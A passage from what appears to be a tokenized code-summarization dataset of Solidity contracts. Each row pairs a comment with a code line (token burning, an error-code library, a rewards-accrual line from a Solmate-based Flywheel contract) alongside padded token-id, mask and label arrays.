2849,
1268,
1769,
203,
3639,
309,
261,
5965,
1359,
422,
3844,
13,
327,
31,
203,
3639,
309,
261,
8949,
405,
374,
597,
1699,
1359,
405,
374,
13,
1147,
18,
4626,
12053,
537,
12,
900,
2908,
1360,
67,
20339,
67,
15715,
67,
6067,
2849,
1268,
16,
374,
1769,
203,
3639,
1147,
18,
4626,
12053,
537,
12,
900,
2908,
1360,
67,
20339,
67,
15715,
67,
6067,
2849,
1268,
16,
3844,
1769,
203,
3639,
327,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/4/0x52C5F0bf65782f1d71a6011C73B9E935d12DADcb/sources/browser/Master.sol | ---| Remove from Total Supply |-----
| _totalSupply = _totalSupply.sub(tokensToBurn); | 12,473,871 | [
1,
6062,
96,
3581,
628,
10710,
3425,
1283,
571,
13465,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
3639,
389,
4963,
3088,
1283,
273,
389,
4963,
3088,
1283,
18,
1717,
12,
7860,
774,
38,
321,
1769,
13491,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/80001/0x76946B84A2A5c5BF655D8eCc28A9eE7B85890CD8/sources/contracts/libraries/Errors.sol | Roles BankAccountsERC1155ERC5006GeneralFundings | library Errors {
string constant public NOT_ALLOWED = "000";
string constant public BALANCE_NOT_AVAILABLE = "100";
string constant public IS_NOT_ENABLED = "200";
string constant public IS_ZERO_ADDRESS = "201";
string constant public NOT_OWNER_OR_OPERATOR = "300";
string constant public UNKNOWN_VALUE_FROM_SAFE_TRANSFER = "301";
string constant public NOT_MATCHING_LENGTHS = "302";
string constant public INSUFFICIENT_BALANCE = "303";
string constant public NOT_EXPIRED = "400";
string constant public NOT_EXISTS = "500";
string constant public PHASE_ALREADY_OPEN = "600";
string constant public CREDITS_NOT_AVAILABLE = "601";
string constant public PHASE_NOT_OPEN = "602";
pragma solidity ^0.8.0;
}
| 5,701,091 | [
1,
6898,
25610,
13971,
654,
39,
2499,
2539,
654,
39,
12483,
26,
12580,
42,
1074,
899,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
12083,
9372,
288,
203,
203,
565,
533,
5381,
1071,
4269,
67,
16852,
273,
315,
3784,
14432,
203,
203,
565,
533,
5381,
1071,
605,
1013,
4722,
67,
4400,
67,
23222,
273,
315,
6625,
14432,
203,
203,
565,
533,
5381,
1071,
4437,
67,
4400,
67,
13560,
273,
315,
6976,
14432,
203,
565,
533,
5381,
1071,
4437,
67,
24968,
67,
15140,
273,
315,
6734,
14432,
203,
203,
565,
533,
5381,
1071,
4269,
67,
29602,
67,
916,
67,
26110,
273,
315,
19249,
14432,
203,
565,
533,
5381,
1071,
13598,
67,
4051,
67,
11249,
67,
22219,
67,
16596,
6553,
273,
315,
31831,
14432,
203,
565,
533,
5381,
1071,
4269,
67,
11793,
1360,
67,
7096,
55,
273,
315,
23,
3103,
14432,
203,
565,
533,
5381,
1071,
2120,
6639,
42,
1653,
7266,
2222,
67,
38,
1013,
4722,
273,
315,
23,
4630,
14432,
203,
203,
565,
533,
5381,
1071,
4269,
67,
18433,
5879,
273,
315,
16010,
14432,
203,
203,
565,
533,
5381,
1071,
4269,
67,
21205,
273,
315,
12483,
14432,
203,
203,
565,
533,
5381,
1071,
15490,
4429,
67,
1013,
20305,
67,
11437,
273,
315,
28133,
14432,
203,
565,
533,
5381,
1071,
385,
5879,
10158,
67,
4400,
67,
23222,
273,
315,
26,
1611,
14432,
203,
565,
533,
5381,
1071,
15490,
4429,
67,
4400,
67,
11437,
273,
315,
26,
3103,
14432,
203,
683,
9454,
18035,
560,
3602,
20,
18,
28,
18,
20,
31,
203,
97,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/137/0x63464916388dAB4f2e80551250335490C4518D37/sources/contracts/WhiteBlackList/WhiteBlackList/WhiteBlackList.sol | * @dev contract initializer @param _registry The address of Registry contract/ solhint-disable-next-line comprehensive-interface | function initialize(address _registry) external initializer {
__WhiteBlackListBase_init(_registry);
}
| 4,758,385 | [
1,
16351,
12562,
225,
389,
9893,
1021,
1758,
434,
5438,
6835,
19,
3704,
11317,
17,
8394,
17,
4285,
17,
1369,
1161,
266,
76,
14315,
17,
5831,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
4046,
12,
2867,
389,
9893,
13,
3903,
12562,
288,
203,
3639,
1001,
13407,
13155,
682,
2171,
67,
2738,
24899,
9893,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity 0.8.10;
/// @notice Modern and gas efficient ERC20 + EIP-2612 implementation.
/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/tokens/ERC20.sol)
/// @author Modified from Uniswap (https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/UniswapV2ERC20.sol)
/// @dev Do not manually set balances without updating totalSupply, as the sum of all user balances must not exceed it.
abstract contract ERC20 {
/*///////////////////////////////////////////////////////////////
EVENTS
//////////////////////////////////////////////////////////////*/
event Transfer(address indexed from, address indexed to, uint256 amount);
event Approval(address indexed owner, address indexed spender, uint256 amount);
/*///////////////////////////////////////////////////////////////
METADATA STORAGE
//////////////////////////////////////////////////////////////*/
string public name;
string public symbol;
uint8 public immutable decimals;
/*///////////////////////////////////////////////////////////////
ERC20 STORAGE
//////////////////////////////////////////////////////////////*/
uint256 public totalSupply;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
/*///////////////////////////////////////////////////////////////
EIP-2612 STORAGE
//////////////////////////////////////////////////////////////*/
uint256 internal immutable INITIAL_CHAIN_ID;
bytes32 internal immutable INITIAL_DOMAIN_SEPARATOR;
mapping(address => uint256) public nonces;
/*///////////////////////////////////////////////////////////////
CONSTRUCTOR
//////////////////////////////////////////////////////////////*/
constructor(
string memory _name,
string memory _symbol,
uint8 _decimals
) {
name = _name;
symbol = _symbol;
decimals = _decimals;
INITIAL_CHAIN_ID = block.chainid;
INITIAL_DOMAIN_SEPARATOR = computeDomainSeparator();
}
/*///////////////////////////////////////////////////////////////
ERC20 LOGIC
//////////////////////////////////////////////////////////////*/
function approve(address spender, uint256 amount) public virtual returns (bool) {
allowance[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function transfer(address to, uint256 amount) public virtual returns (bool) {
balanceOf[msg.sender] -= amount;
// Cannot overflow because the sum of all user
// balances can't exceed the max uint256 value.
unchecked {
balanceOf[to] += amount;
}
emit Transfer(msg.sender, to, amount);
return true;
}
function transferFrom(
address from,
address to,
uint256 amount
) public virtual returns (bool) {
uint256 allowed = allowance[from][msg.sender]; // Saves gas for limited approvals.
if (allowed != type(uint256).max) allowance[from][msg.sender] = allowed - amount;
balanceOf[from] -= amount;
// Cannot overflow because the sum of all user
// balances can't exceed the max uint256 value.
unchecked {
balanceOf[to] += amount;
}
emit Transfer(from, to, amount);
return true;
}
/*///////////////////////////////////////////////////////////////
EIP-2612 LOGIC
//////////////////////////////////////////////////////////////*/
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) public virtual {
require(deadline >= block.timestamp, "PERMIT_DEADLINE_EXPIRED");
// Unchecked because the only math done is incrementing
// the owner's nonce which cannot realistically overflow.
unchecked {
bytes32 digest = keccak256(
abi.encodePacked(
"\x19\x01",
DOMAIN_SEPARATOR(),
keccak256(
abi.encode(
keccak256(
"Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"
),
owner,
spender,
value,
nonces[owner]++,
deadline
)
)
)
);
address recoveredAddress = ecrecover(digest, v, r, s);
require(recoveredAddress != address(0) && recoveredAddress == owner, "INVALID_SIGNER");
allowance[recoveredAddress][spender] = value;
}
emit Approval(owner, spender, value);
}
function DOMAIN_SEPARATOR() public view virtual returns (bytes32) {
return block.chainid == INITIAL_CHAIN_ID ? INITIAL_DOMAIN_SEPARATOR : computeDomainSeparator();
}
function computeDomainSeparator() internal view virtual returns (bytes32) {
return
keccak256(
abi.encode(
keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
keccak256(bytes(name)),
keccak256("1"),
block.chainid,
address(this)
)
);
}
/*///////////////////////////////////////////////////////////////
INTERNAL MINT/BURN LOGIC
//////////////////////////////////////////////////////////////*/
function _mint(address to, uint256 amount) internal virtual {
totalSupply += amount;
// Cannot overflow because the sum of all user
// balances can't exceed the max uint256 value.
unchecked {
balanceOf[to] += amount;
}
emit Transfer(address(0), to, amount);
}
function _burn(address from, uint256 amount) internal virtual {
balanceOf[from] -= amount;
// Cannot underflow because a user's balance
// will never be larger than the total supply.
unchecked {
totalSupply -= amount;
}
emit Transfer(from, address(0), amount);
}
}
/// @notice Provides a flexible and updatable auth pattern which is completely separate from application logic.
/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/auth/Auth.sol)
/// @author Modified from Dappsys (https://github.com/dapphub/ds-auth/blob/master/src/auth.sol)
abstract contract Auth {
event OwnerUpdated(address indexed user, address indexed newOwner);
event AuthorityUpdated(address indexed user, Authority indexed newAuthority);
address public owner;
Authority public authority;
constructor(address _owner, Authority _authority) {
owner = _owner;
authority = _authority;
emit OwnerUpdated(msg.sender, _owner);
emit AuthorityUpdated(msg.sender, _authority);
}
modifier requiresAuth() {
require(isAuthorized(msg.sender, msg.sig), "UNAUTHORIZED");
_;
}
function isAuthorized(address user, bytes4 functionSig) internal view virtual returns (bool) {
Authority auth = authority; // Memoizing authority saves us a warm SLOAD, around 100 gas.
// Checking if the caller is the owner only after calling the authority saves gas in most cases, but be
// aware that this makes protected functions uncallable even to the owner if the authority is out of order.
return (address(auth) != address(0) && auth.canCall(user, address(this), functionSig)) || user == owner;
}
function setAuthority(Authority newAuthority) public virtual {
// We check if the caller is the owner first because we want to ensure they can
// always swap out the authority even if it's reverting or using up a lot of gas.
require(msg.sender == owner || authority.canCall(msg.sender, address(this), msg.sig));
authority = newAuthority;
emit AuthorityUpdated(msg.sender, newAuthority);
}
function setOwner(address newOwner) public virtual requiresAuth {
owner = newOwner;
emit OwnerUpdated(msg.sender, newOwner);
}
}
/// @notice A generic interface for a contract which provides authorization data to an Auth instance.
/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/auth/Auth.sol)
/// @author Modified from Dappsys (https://github.com/dapphub/ds-auth/blob/master/src/auth.sol)
interface Authority {
function canCall(
address user,
address target,
bytes4 functionSig
) external view returns (bool);
}
/**
@title Rewards Module for Flywheel
@notice The rewards module is a minimal interface for determining the quantity of rewards accrued to a flywheel market.
Different module strategies include:
* a static reward rate per second
* a decaying reward rate
* a dynamic just-in-time reward stream
* liquid governance reward delegation
*/
interface IFlywheelRewards {
function getAccruedRewards(ERC20 market, uint32 lastUpdatedTimestamp) external returns (uint256 rewards);
}
/**
@title Balance Booster Module for Flywheel
@notice An optional module for virtually boosting user balances. This allows a Flywheel Core to plug into some balance boosting logic.
Boosting logic can be associated with referrals, vote-escrow, or other strategies. It can even be used to model exotic strategies like borrowing.
*/
interface IFlywheelBooster {
function boostedTotalSupply(ERC20 market) external view returns(uint256);
function boostedBalanceOf(ERC20 market, address user) external view returns(uint256);
}
/**
@title Flywheel Core Incentives Manager
@notice Flywheel is a general framework for managing token incentives.
It is comprised of the Core (this contract), Rewards module, and optional Booster module.
Core is responsible for maintaining reward accrual through reward indexes.
It delegates the actual accrual logic to the Rewards Module.
For maximum accuracy and to avoid exploits, rewards accrual should be notified atomically through the accrue hook.
Accrue should be called any time tokens are transferred, minted, or burned.
*/
contract FlywheelCore is Auth {
event AddMarket(address indexed newMarket);
event FlywheelRewardsUpdate(address indexed oldFlywheelRewards, address indexed newFlywheelRewards);
event AccrueRewards(ERC20 indexed cToken, address indexed owner, uint rewardsDelta, uint rewardsIndex);
event ClaimRewards(address indexed owner, uint256 amount);
struct RewardsState {
/// @notice The market's last updated index
uint224 index;
/// @notice The timestamp the index was last updated at
uint32 lastUpdatedTimestamp;
}
/// @notice The token to reward
ERC20 public immutable rewardToken;
/// @notice the rewards contract for managing streams
IFlywheelRewards public flywheelRewards;
/// @notice optional booster module for calculating virtual balances on markets
IFlywheelBooster public immutable flywheelBooster;
/// @notice the fixed point factor of flywheel
uint224 public constant ONE = 1e18;
/// @notice The market index and last updated per market
mapping(ERC20 => RewardsState) public marketState;
/// @notice user index per market
mapping(ERC20 => mapping(address => uint224)) public userIndex;
/// @notice The accrued but not yet transferred rewards for each user
mapping(address => uint256) public rewardsAccrued;
/// @dev immutable flag for short-circuiting boosting logic
bool internal immutable applyBoosting;
constructor(
ERC20 _rewardToken,
IFlywheelRewards _flywheelRewards,
IFlywheelBooster _flywheelBooster,
address _owner,
Authority _authority
) Auth(_owner, _authority) {
rewardToken = _rewardToken;
flywheelRewards = _flywheelRewards;
flywheelBooster = _flywheelBooster;
applyBoosting = address(_flywheelBooster) != address(0);
}
/// @notice initialize a new market
function addMarketForRewards(ERC20 market) external requiresAuth {
marketState[market] = RewardsState({
index: ONE,
lastUpdatedTimestamp: uint32(block.timestamp)
});
emit AddMarket(address(market));
}
/// @notice swap out the flywheel rewards contract
function setFlywheelRewards(IFlywheelRewards newFlywheelRewards) external requiresAuth {
address oldFlywheelRewards = address(flywheelRewards);
flywheelRewards = newFlywheelRewards;
emit FlywheelRewardsUpdate(oldFlywheelRewards, address(newFlywheelRewards));
}
/// @notice accrue rewards for a single user on a market
function accrue(ERC20 market, address user) public returns (uint256) {
RewardsState memory state = marketState[market];
if (state.index == 0) return 0;
state = accrueMarket(market, state);
return accrueUser(market, user, state);
}
/// @notice accrue rewards for two users on a market
function accrue(ERC20 market, address user, address secondUser) public returns (uint256, uint256) {
RewardsState memory state = marketState[market];
if (state.index == 0) return (0, 0);
state = accrueMarket(market, state);
return (accrueUser(market, user, state), accrueUser(market, secondUser, state));
}
/// @notice claim rewards for a given owner
function claim(address owner) external {
uint256 accrued = rewardsAccrued[owner];
if (accrued != 0) {
rewardsAccrued[owner] = 0;
rewardToken.transfer(owner, accrued);
emit ClaimRewards(owner, accrued);
}
}
/// @notice accumulate global rewards on a market
function accrueMarket(ERC20 market, RewardsState memory state) private returns(RewardsState memory rewardsState) {
// calculate accrued rewards through module
uint256 marketRewardsAccrued = flywheelRewards.getAccruedRewards(market, state.lastUpdatedTimestamp);
rewardsState = state;
if (marketRewardsAccrued > 0) {
// use the booster or token supply to calculate reward index denominator
uint256 supplyTokens = applyBoosting ? flywheelBooster.boostedTotalSupply(market): market.totalSupply();
// accumulate rewards per token onto the index, multiplied by fixed-point factor
rewardsState = RewardsState({
index: state.index + uint224(marketRewardsAccrued * ONE / supplyTokens),
lastUpdatedTimestamp: uint32(block.timestamp)
});
marketState[market] = rewardsState;
}
}
/// @notice accumulate rewards on a market for a specific user
function accrueUser(ERC20 market, address user, RewardsState memory state) private returns (uint256) {
// load indices
uint224 supplyIndex = state.index;
uint224 supplierIndex = userIndex[market][user];
// sync user index to global
userIndex[market][user] = supplyIndex;
// if user hasn't yet accrued rewards, grant them interest from the market beginning if they have a balance
// zero balances will have no effect other than syncing to global index
if (supplierIndex == 0) {
supplierIndex = ONE;
}
uint224 deltaIndex = supplyIndex - supplierIndex;
// use the booster or token balance to calculate reward balance multiplier
uint256 supplierTokens = applyBoosting ? flywheelBooster.boostedBalanceOf(market, user) : market.balanceOf(user);
// accumulate rewards by multiplying user tokens by rewardsPerToken index and adding on unclaimed
uint256 supplierDelta = supplierTokens * deltaIndex / ONE;
uint256 supplierAccrued = rewardsAccrued[user] + supplierDelta;
rewardsAccrued[user] = supplierAccrued;
emit AccrueRewards(market, user, supplierDelta, supplyIndex);
return supplierAccrued;
}
}
contract FuseFlywheelCore is FlywheelCore {
bool public constant isRewardsDistributor = true;
constructor(
ERC20 _rewardToken,
IFlywheelRewards _flywheelRewards,
IFlywheelBooster _flywheelBooster,
address _owner,
Authority _authority
) FlywheelCore(_rewardToken, _flywheelRewards, _flywheelBooster, _owner, _authority) {}
function flywheelPreSupplierAction(ERC20 market, address supplier) external {
accrue(market, supplier);
}
function flywheelPreBorrowerAction(ERC20 market, address borrower) external {}
function flywheelPreTransferAction(ERC20 market, address src, address dst) external {
accrue(market, src, dst);
}
} | use the booster or token balance to calculate reward balance multiplier | uint256 supplierTokens = applyBoosting ? flywheelBooster.boostedBalanceOf(market, user) : market.balanceOf(user);
| 1,412,313 | [
1,
1202,
326,
14994,
264,
578,
1147,
11013,
358,
4604,
19890,
11013,
15027,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
3639,
2254,
5034,
17402,
5157,
273,
2230,
26653,
310,
692,
21434,
21344,
26653,
264,
18,
25018,
329,
13937,
951,
12,
27151,
16,
729,
13,
294,
13667,
18,
12296,
951,
12,
1355,
1769,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
